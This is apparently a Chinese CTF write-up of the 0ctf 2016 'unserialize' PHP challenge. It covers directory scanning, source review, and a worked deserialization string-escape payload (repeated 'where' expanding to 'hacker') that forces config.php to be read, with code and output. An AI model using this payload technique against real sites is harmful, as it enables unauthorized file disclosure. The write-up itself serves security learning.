[0ctf 2016]unserialize

像这种反序列化题都会有源码
image.png
目录扫描dirsearch -u http://node4.anna.nssctf.cn:28978/
image.png
得到www.zip源码
大致的查看源码,发现flag藏在config.php文件中
image.png
那我们需要找到可以调出config.php文件的代码
profile.php文件中发现调用photo文件路径
由此想到可以将photo文件路径修改为config.php
image.png
根据这个线,找到可利用点
image.png
nickname可以利用数组绕过过滤
同时可以利用class.php中的filter过滤
image.png
先构造正确的序列化

<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array('');
	public $photo = "config.php";
	// public $photo = "upload/";
}
$s=new f;
$a=new u;
$b=serialize($a);
var_dump($b);
?>

结果:

string(135) "O:1:"u":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}"

错误的序列化

<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array('');
	// public $photo = "config.php";
	public $photo = "upload/";
}
$s=new f;
$a=new u;
$b=serialize($a);
var_dump($b);
?>

结果:

string(131) "O:1:"u":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:7:"upload/";}"

需要将";}s:5:"photo";s:10:"config.php";}推到";}s:5:"photo";s:7:"upload/";}的位置。
";}s:5:"photo";s:10:"config.php";}的长度为34
所以需要多出34个字符
以此推算,hacker比where多出一个字符,34个where即可

<?php
class f{
	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
class u
{
	public $phone = "12345678901";
	public $email = "123@qq.com";
	public $nickname = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
	public $photo = "upload/";
}
$s=new f;
$a=new u;
var_dump($a);
$b=serialize($a);
// var_dump($b);
$c=$s->filter($b);
// var_dump($c);
$d=unserialize($c);
var_dump($d);
?>

结果:

class u#2 (4) {
  public $phone =>
  string(11) "12345678901"
  public $email =>
  string(10) "123@qq.com"
  public $nickname =>
  array(1) {
    [0] =>
    string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
  }
  public $photo =>
  string(7) "upload/"
}
class u#3 (4) {
  public $phone =>
  string(11) "12345678901"
  public $email =>
  string(10) "123@qq.com"
  public $nickname =>
  array(1) {
    [0] =>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  public $photo =>
  string(10) "config.php"
}

playload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

先输入http://node4.anna.nssctf.cn:28542/register.php随便注册一个账号
抓包update.php
image.png
修改相应的值,放包
image.png
查看网页源代码
image.png
将base64解密即可得到flag
image.png

相关推荐

  1. (BUUCTF)0ctf_2018_heapstorm2

    2024-07-11 18:46:12       42 阅读
  2. mysql8.0-cnf文件

    2024-07-11 18:46:12       42 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-11 18:46:12       53 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-11 18:46:12       56 阅读
  3. 在Django里面运行非项目文件

    2024-07-11 18:46:12       46 阅读
  4. Python语言-面向对象

    2024-07-11 18:46:12       57 阅读

热门阅读

  1. el-date-picker 禁用 之前 和 之后 的时间

    2024-07-11 18:46:12       18 阅读
  2. 【66个开源+44个闭源Agent项目】

    2024-07-11 18:46:12       16 阅读
  3. 网络安全领域红蓝对抗里关于红队全方位解析

    2024-07-11 18:46:12       20 阅读
  4. GitHub Copilot & API

    2024-07-11 18:46:12       17 阅读
  5. 【linux】log 保存和过滤

    2024-07-11 18:46:12       17 阅读
  6. OpenCV和CUDA匹配,使用源码构建OpenCV

    2024-07-11 18:46:12       20 阅读
  7. Oracle左连接过滤条件注意事项

    2024-07-11 18:46:12       18 阅读
  8. Spring-Data-ES-template工具类使用

    2024-07-11 18:46:12       20 阅读